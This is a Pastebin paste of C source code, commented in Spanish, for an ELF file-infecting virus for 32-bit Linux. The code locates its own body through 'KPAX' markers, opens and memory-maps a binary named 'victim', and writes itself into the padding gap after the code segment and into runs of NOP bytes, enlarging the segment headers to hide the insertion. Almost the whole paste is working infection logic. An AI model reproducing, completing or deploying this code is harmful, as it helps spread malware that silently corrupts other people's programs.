Guest User

Untitled

a guest
Jul 21st, 2018
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 16.94 KB | None | 0 0
  1. #include <sys/syscall.h>
  2. #include <sys/types.h>
  3. #include <elf.h>
  4. #include <stdint.h>
  5. #include <sys/mman.h>
  6. #include <stdlib.h>
  7.  
  8. /* Mínimo de contigüidad. Esto deberá modificarse una vez que escribamos la
  9.    rutina de reensamblado para asegurar que se carga completamente */
  10. #define MIN_CONTIGUOUS 64
  11.  
  12. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  13.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  14.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  15.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  16.    coincidencia) */
  17.    
  18. #define BOTTOM_MARKER_LOW  0x504b
  19. #define BOTTOM_MARKER_HIGH 0x5841
  20. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  21. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  22.  
  23. #define BOTTOM_MARKER      0x5841504b
  24. #define TOP_MARKER         BOTTOM_MARKER
  25.  
  26. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  27.  
  28. /* Esta versión implementa mmap en vez de read, write o lseek. Es más
  29.    rápido, más corto y funcionará mejor para nuestros propósitos */
  30. /* Los includes pueden llegar a ser muy molestos. */
  31. #define O_RDWR                02
  32.  
  33.  
  34. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  35. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  36.    sustituirá por la cadena "palabra" */
  37.    
  38. #define _STRINGIFY(x) #x
  39. #define STRINGIFY(x) _STRINGIFY (x)
  40.  
  41. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  42.    el flag "a" le obliga a que la sección se cargue en memoria */
  43.    
  44. asm (".section .code_bottom, \"xa\"");
  45. asm (".long " STRINGIFY (BOTTOM_MARKER));
  46. asm (".long 0"); /* Reservamos espacio para guardar el tamaño de la zona contigua */
  47. asm (".long 0"); /* Puntero al primer trozo */
  48. asm (".section .code_top, \"xa\"");
  49. asm (".long " STRINGIFY (TOP_MARKER));
  50.  
  51.  
  52. /* write la conservamos SÓLO para debug */
  53. int
  54. write (int fd, const void *buf, int size)
  55. {
  56.   int ret;
  57.  
  58.   asm volatile ("xchg %%ebx, %%esi\n"
  59.                  "int $0x80\n"
  60.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  61.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  62.    
  63.   return ret;
  64. }
  65.  
  66. /*
  67.  * Código copiado por las malas de la libc para la implementación de mmap/munmap.
  68.  */
  69.  
  70. void *
  71. mmap (void *start, size_t length, int prot, int flags, int fd, off_t offset);
  72.  
  73. int
  74. munmap (void *start, size_t length);
  75.  
  76. asm (".section .text");
  77. asm (".global munmap");
  78. asm ("munmap:");
  79. asm ("  mov    %ebx,%edx");
  80. asm ("  mov    0x8(%esp),%ecx");
  81. asm ("  mov    0x4(%esp),%ebx");
  82. asm ("  mov    $0x5b,%eax");
  83. asm ("  int    $0x80");
  84. asm ("  mov    %edx,%ebx");
  85. asm ("  ret");
  86.  
  87. asm (".global mmap");
  88. asm ("mmap:");
  89. asm ("  push %eax");
  90. asm ("  pusha");
  91. asm ("  mov    0x28(%esp), %ebx");
  92. asm ("  mov    0x2c(%esp), %ecx");
  93. asm ("  mov    0x30(%esp), %edx");
  94. asm ("  mov    0x34(%esp), %esi");
  95. asm ("  mov    0x38(%esp), %edi");
  96. asm ("  mov    0x3c(%esp), %ebp");
  97. asm ("  shr    $0xc, %ebp"); /* El kernel se espera directamente los 12 bits de página */
  98. asm ("  mov    $0xc0, %eax");
  99. asm ("  int    $0x80");
  100. asm ("  mov    %eax, 0x20(%esp)");
  101. asm ("  popa");
  102. asm ("  pop %eax");
  103. asm ("  ret");
  104.  
  105. static int
  106. open (const char *path, int mode)
  107. {
  108.   int ret;
  109.  
  110.   asm volatile ("xchg %%ebx, %%esi\n"
  111.                  "int $0x80\n"
  112.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  113.                  "a" (__NR_open), "S" (path), "c" (mode));
  114.    
  115.   return ret;
  116. }
  117.  
  118. static int
  119. close (int fd)
  120. {
  121.   int ret;
  122.  
  123.   asm volatile ("xchg %%ebx, %%esi\n"
  124.                  "int $0x80\n"
  125.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  126.                  "a" (__NR_close), "S" (fd));
  127.    
  128.   return ret;
  129. }
  130.  
  131.  
  132. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  133.    muy útil para depurar. */
  134. void
  135. long2hex (unsigned int number, char *buf)
  136. {
  137.   int i;
  138.   char hexa[] = "0123456789abcdef";
  139.  
  140.   for (i = 0; i < 8; i++)
  141.   {
  142.     buf[7 - i] = hexa[number & 0xf];
  143.     number >>= 4;
  144.   }
  145.  
  146.   buf[8] = '\n';
  147. }
  148.  
  149. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  150.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  151.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  152.    hacia arriba o hacia abajo hasta encontrarlos */
  153.    
  154. void
  155. get_code_limits (uint32_t *bottom, uint32_t *top)
  156. {
  157.   int i;
  158.   uint32_t this_addr;
  159.  
  160.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  161.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  162.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  163.      inline assembly de GCC */
  164.      
  165.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  166.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  167.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  168.      a un cacho de código que no está especialmente diferenciado del resto. */
  169.      
  170.   asm volatile ("call 1f\n"
  171.                  "1:\n"
  172.                  "popl %0\n" : "=g" (this_addr));
  173.                  
  174.  
  175.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  176.      últimos bits a cero. */
  177.      
  178.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  179.                       this_addr = this_addr & 0xfffffffc que es un and
  180.                       en binario con todo 1 menos los dos últimos bits,
  181.                       esto fuerza a que el número esté alineado a 4. */
  182.  
  183.  
  184.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  185.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  186.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  187.      
  188.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  189.      restando. */
  190.      
  191.   for (i = this_addr; ; i -= 4)
  192.   {
  193.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  194.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  195.       {
  196.         *bottom = i;
  197.         break;
  198.       }
  199.   }
  200.  
  201.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  202.      nuestra memoria hacia adelante, sumando. */
  203.   for (i = this_addr; ; i += 4)
  204.   {
  205.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  206.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  207.       {
  208.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  209.                          4 bytes) también pertenece al código. */
  210.         break;
  211.       }
  212.   }
  213.  
  214. }
  215.  
  216. /* Debido a que sólo utilizo lseek una vez (y es para calcular el tamaño de
  217.    un fichero) he optado por meterla en una macro y ahorrarme prólogos y
  218.    una generalización que no voy a necestar. Es importante ahorrar espacio.
  219.    */
  220. #define GET_FILE_SIZE(fd, size)                                \
  221.   asm volatile ("xchg %%ebx, %%esi\n"                          \
  222.                 "int $0x80\n"                                  \
  223.                 "xchg %%ebx, %%esi\n" : "=a" (size) :          \
  224.                 "a" (__NR_lseek), "S" (fd), "c" (0), "d" (2));
  225.                
  226. /* Equivalente a map_elf, pero usando mmap */
  227. void *
  228. map_elf (const char *path, size_t *size)
  229. {
  230.   int fd;
  231.   void *map;
  232.   Elf32_Ehdr *Ehdr;
  233.  
  234.   if ((fd = open (path, O_RDWR)) < 0)
  235.     return NULL; /* Error al abrir */
  236.  
  237.   GET_FILE_SIZE (fd, *size);
  238.  
  239.   if (*size < 0)
  240.     return NULL;
  241.    
  242.   if ((uint32_t) (map = mmap (NULL, *size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) & 0xfff)
  243.   {
  244.     DEBUG (map);
  245.     close (fd);
  246.     return NULL;
  247.   }
  248.  
  249.   close (fd);
  250.  
  251.   Ehdr = (Elf32_Ehdr *) map;
  252.  
  253.  
  254.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  255.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  256.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  257.       Ehdr->e_ident[EI_MAG3] != ELFMAG3 ||
  258.       Ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||
  259.       Ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||
  260.       Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  261.   {
  262.     munmap (map, *size);
  263.     return NULL; /* Números mágicos incorrectos */
  264.   }
  265.  
  266.   return map;
  267. }
  268.  
  269. /* Macro para alinear a tamaños */
  270. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  271.  
  272. /* get_alloc_info nos servirá para obtener el puntero a la brecha, su tamaño,
  273.    el espacio que tenemos en NOPs y cuántas tiras de NOPs tenemos. */
  274. int
  275. get_alloc_info (void *image_base,        /* Dirección donde hemos cargado el binario */
  276.                 Elf32_Phdr **code_phdr,  /* Aquí cargaremos la cabecera de código */
  277.                 void **gap_addr,         /* Aquí cargamos la dirección de la brecha */
  278.                 size_t *gap_size,       /* Aquí, el tamaño de la brecha */
  279.                 int *nop_bytes,          /* Bytes libres en NOPs */
  280.                 int *nop_chunks)         /* Número de tiras de NOPs */
  281. {
  282.   int i, code_idx;
  283.   uint8_t *text;
  284.   int state = 0, stripsize = 0;
  285.  
  286.   off_t   gap_start, gap_start_relative;
  287.  
  288.   Elf32_Ehdr *Ehdr;
  289.   Elf32_Phdr *Phdr;
  290.  
  291.   code_idx = -1;
  292.  
  293.   Ehdr = (Elf32_Ehdr *) image_base;
  294.   Phdr = (Elf32_Phdr *) (image_base + Ehdr->e_phoff);
  295.    
  296.   for (i = 0; i < Ehdr->e_phnum; i++)
  297.   {  
  298.     if (Phdr[i].p_type == PT_LOAD)
  299.     {
  300.       if (Phdr[i].p_flags & PF_X)
  301.       {
  302.         if (code_idx != -1) /* ¿Dos segmentos de código? dew */
  303.           return -1;
  304.         code_idx = i;
  305.       }
  306.     }
  307.   }
  308.    
  309.   if (code_idx == -1)
  310.     return -1;
  311.  
  312.   *code_phdr = Phdr + code_idx;
  313.  
  314.   gap_start_relative = ALIGN ((*code_phdr)->p_filesz, 4); /* Comienzo relativo al segmento */
  315.   gap_start = (*code_phdr)->p_offset + gap_start_relative; /* Comienzo real */
  316.   *gap_size  = 4096 - (gap_start & 0xfff); /* Tamaño */
  317.  
  318.   *gap_addr = image_base + gap_start;
  319.  
  320.   for (i = 0; i < Ehdr->e_phnum; i++)
  321.   {
  322.     /* ¿Está a caballo entre dos segmentos? */
  323.     if (Phdr[i].p_type == PT_LOAD)
  324.       if (gap_start <= Phdr[i].p_offset && Phdr[i].p_offset < gap_start + *gap_size)
  325.         *gap_size = Phdr[i].p_offset - gap_start; /* Corregimos, no queremos chafar lo otro */
  326.   }
  327.    
  328.   /* El segmento de código empieza aquí */
  329.   text = (uint8_t *) (image_base + (*code_phdr)->p_offset);
  330.  
  331.   *nop_bytes = 0;
  332.   *nop_chunks = 0;
  333.  
  334.   /* Aquí contabilizamos cuántos bytes en NOPs usables tenemos */
  335.   for (i = 0; i < (*code_phdr)->p_filesz; i++)
  336.   {
  337.     if (!state)
  338.     {
  339.       if (text[i] == 0x90) /* RET */
  340.       {
  341.         stripsize = 1;
  342.         state++;
  343.       }
  344.     }
  345.     else
  346.     {
  347.       if (text[i] == 0x90)
  348.         stripsize++;
  349.       else
  350.       {
  351.         if (stripsize > 4) /* Sólo son útiles si tenemos 5 o más */
  352.         {
  353.           if ((i & 0xf) == 0)
  354.           {
  355.             (*nop_bytes) += stripsize;
  356.             (*nop_chunks)++;
  357.           }
  358.         }
  359.        
  360.         state--;
  361.       }
  362.     }
  363.   }
  364.  
  365.   return 0;
  366. }
  367.  
  368. /* Esta es la forma más corta que se me ocurre de implementar memcpy */
  369. #define FAST_MEMCPY(to, from, size)  \
  370.   asm volatile ("push %%ecx; rep movsb; popl %%ecx" ::       \
  371.   "S" (from), "D" (to), "c" (size));
  372.  
  373. /* alloc_nop_chunk nos buscará la primera tira de nops libre que encuentre */
  374. int
  375. alloc_nop_chunk (void *victim_code_base,  /* Dirección del segmento de código */
  376.                  size_t victim_code_size, /* Tamaño del mismo */
  377.                  void **chunk_addr,       /* Aquí guardamos la dirección */
  378.                  size_t *chunk_size)      /* Y aquí su tamaño */
  379. {
  380.   uint8_t *text;
  381.   int state = 0, stripsize = 0;
  382.   int i;
  383.  
  384.   text = (uint8_t *) victim_code_base;
  385.  
  386.   for (i = 0; i < victim_code_size; i++)
  387.   {
  388.     if (!state)
  389.     {
  390.       if (text[i] == 0x90) /* NOP */
  391.       {
  392.         stripsize = 1;
  393.         state++;
  394.       }
  395.     }
  396.     else
  397.     {
  398.       if (text[i] == 0x90 && stripsize < 255) /* No podemos manejar cosas tan grandes */
  399.         stripsize++;
  400.       else
  401.       {
  402.         if (stripsize > 4)
  403.         {
  404.           if ((i & 0xf) == 0)
  405.           {
  406.             *chunk_addr = (void *) &text[i - stripsize];
  407.             *chunk_size = stripsize - 4;
  408.          
  409.             return 0;
  410.           }
  411.         }
  412.        
  413.         state--;
  414.       }
  415.     }
  416.   }
  417.  
  418.   return -1;
  419. }
  420.  
  421. int
  422. infect (Elf32_Phdr *phdr,       /* Cabecera del segmento de código */
  423.         void *self_code_base,   /* Comienzo de nuestro código */  
  424.         size_t self_code_size,  /* Tamaño de nuestro código */
  425.         void *victim_code_base, /* Dirección del segmento víctima */
  426.         void *gap_addr,         /* Inicio de la brecha */
  427.         size_t gap_size)        /* Tamaño de la brecha */
  428. {
  429.   off_t     code_offset;
  430.   uint32_t *code_as_dwords;
  431.   uint32_t *chunk_addr;
  432.   size_t   chunk_size;
  433.  
  434.   /* Haremos una de dos cosas. Si el código cabe entero, marco el tamaño de la zona contigua */
  435.  
  436.   if (self_code_size <= gap_size)
  437.   {
  438.     FAST_MEMCPY (gap_addr, self_code_base, self_code_size);
  439.     phdr->p_filesz += self_code_size;
  440.     phdr->p_memsz  += self_code_size;
  441.    
  442.     return 0;
  443.   }
  444.   else if (MIN_CONTIGUOUS <= gap_size)
  445.   {
  446.     DEBUG ("Se va a intentar una infección segmentada\n");
  447.          
  448.     /* Toca infección segmentada, "a ver si cuela" */
  449.     FAST_MEMCPY (gap_addr, self_code_base, gap_size);
  450.    
  451.     phdr->p_filesz += ALIGN (gap_size, 4);
  452.     phdr->p_memsz  += ALIGN (gap_size, 4);
  453.    
  454.     code_as_dwords = (uint32_t *) gap_addr;
  455.     /* En code_as_dwords tendremos la sección contigua del código como un array
  456.        de dwords, donde:
  457.        
  458.        code_as_dwords[0] = MARCADOR INICIAL (KPAX)
  459.        code_as_dwords[1] = Tamaño de la zona contigua
  460.        code_as_dwords[2] = Desplazamiento hacia atrás desde code_as_dwords[0]
  461.                            donde se encuentra el primer fragmento */
  462.    
  463.     if (alloc_nop_chunk (victim_code_base, phdr->p_filesz, (void **) &chunk_addr, &chunk_size))
  464.       return -1; /* No quedan huecos */
  465.    
  466.     /* Aquí vamos a meter directamente el tamaño */
  467.     code_as_dwords[1] = gap_size;
  468.     code_as_dwords[2] = (uint32_t) gap_addr - (uint32_t) chunk_addr;
  469.    
  470.     code_offset = gap_size; /* Hemos sido capaces de colar gap_size bytes
  471.                                de nuestro código */
  472.    
  473.     while (code_offset < self_code_size)
  474.     {
  475.       if (chunk_size > self_code_size - code_offset)
  476.         chunk_size = self_code_size - code_offset;
  477.        
  478.       /* En este bucle tenemos:
  479.      
  480.          En chunk: como dwords, el puntero al primer dword del trozo.
  481.          En size:  tamaño del trozo (máximo: 255)
  482.          
  483.        
  484.          El chunk[0] contiene los metadatos con los offsets y tal. Guardaremos
  485.          lo mismo, offset hacia atrás desde el principio de la brecha.
  486.          
  487.          El trozo tendrá esta estructura forma:
  488.        
  489.            chunk[0]: BYTE 0: TAMAÑO (8 bits)
  490.                      BYTE 1: X \
  491.                      BYTE 2: X  | DESPLAZAMIENTO DESDE LA BRECHA (24 bits)
  492.                      BYTE 3: X /
  493.            chunk[1]  BYTE 4: DATOS
  494.                      BYTE 5: DATOS
  495.                      BYTE 6: DATOS
  496.                       (...)
  497.          */
  498.          
  499.       chunk_addr[0] = (unsigned char) chunk_size | (((uint32_t) gap_addr - (uint32_t) chunk_addr) << 8);
  500.      
  501.       FAST_MEMCPY (&chunk_addr[1], self_code_base + code_offset, chunk_size);
  502.      
  503.       code_offset += chunk_size;
  504.        
  505.       if (code_offset < self_code_size)
  506.         if (alloc_nop_chunk (victim_code_base, phdr->p_filesz, (void **) &chunk_addr, &chunk_size))
  507.           return -1; /* No quedan huecos */
  508.     }
  509.    
  510.     return 0;
  511.   }
  512.   else
  513.     return -1;
  514. }
  515.  
  516. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  517. void
  518. _start (void)
  519. {
  520.   char buffer[9];
  521.   Elf32_Phdr *code_phdr;
  522.  
  523.   size_t     image_size;
  524.   void      *image_base;
  525.   void      *gap_addr;
  526.  
  527.   size_t self_code_size;
  528.   void  *self_code_base;
  529.   uint32_t limit_top;
  530.  
  531.   int gap_size, nop_bytes, nop_chunks;
  532.  
  533.  
  534.   get_code_limits ((uint32_t *) &self_code_base, &limit_top);
  535.   self_code_size = limit_top - (uint32_t) self_code_base;
  536.  
  537.   if ((image_base = map_elf ("victim", &image_size)) == NULL)
  538.   {
  539.     DEBUG ("Imposible abrir victim\n");
  540.     for (;;);
  541.   }
  542.  
  543.   if (get_alloc_info (image_base, &code_phdr, &gap_addr, &gap_size, &nop_bytes, &nop_chunks) == -1)
  544.   {
  545.     DEBUG ("El binario tiene un segmento de código un tanto extraño.\n");
  546.     for (;;);
  547.   }
  548.  
  549.   DEBUG ("Tamaño de la brecha: ");
  550.   long2hex (gap_size, buffer);
  551.   write (1, buffer, 9);
  552.  
  553.    
  554.   DEBUG ("Número de chunks disponibles: ");
  555.   long2hex (nop_chunks, buffer);
  556.   write (1, buffer, 9);
  557.  
  558.   if (nop_bytes - 4 * nop_chunks + gap_size < self_code_size)
  559.   {
  560.     DEBUG ("No cabe. No se intentará hacer una infección.\n");
  561.     for (;;);
  562.   }
  563.  
  564.   if (gap_size < MIN_CONTIGUOUS)
  565.   {
  566.     DEBUG ("No se ha satisfecho el criterio de mínima contigüidad.\n");
  567.     for (;;);
  568.   }
  569.  
  570.  
  571.   if (infect (code_phdr, self_code_base, self_code_size, image_base + code_phdr->p_offset, gap_addr, gap_size) != -1)
  572.     DEBUG ("INFECTADO.\n");
  573.   else
  574.     DEBUG ("NO INFECTADO.\n");
  575.  
  576.   for (;;);
  577. }
Add Comment
Please, Sign In to add comment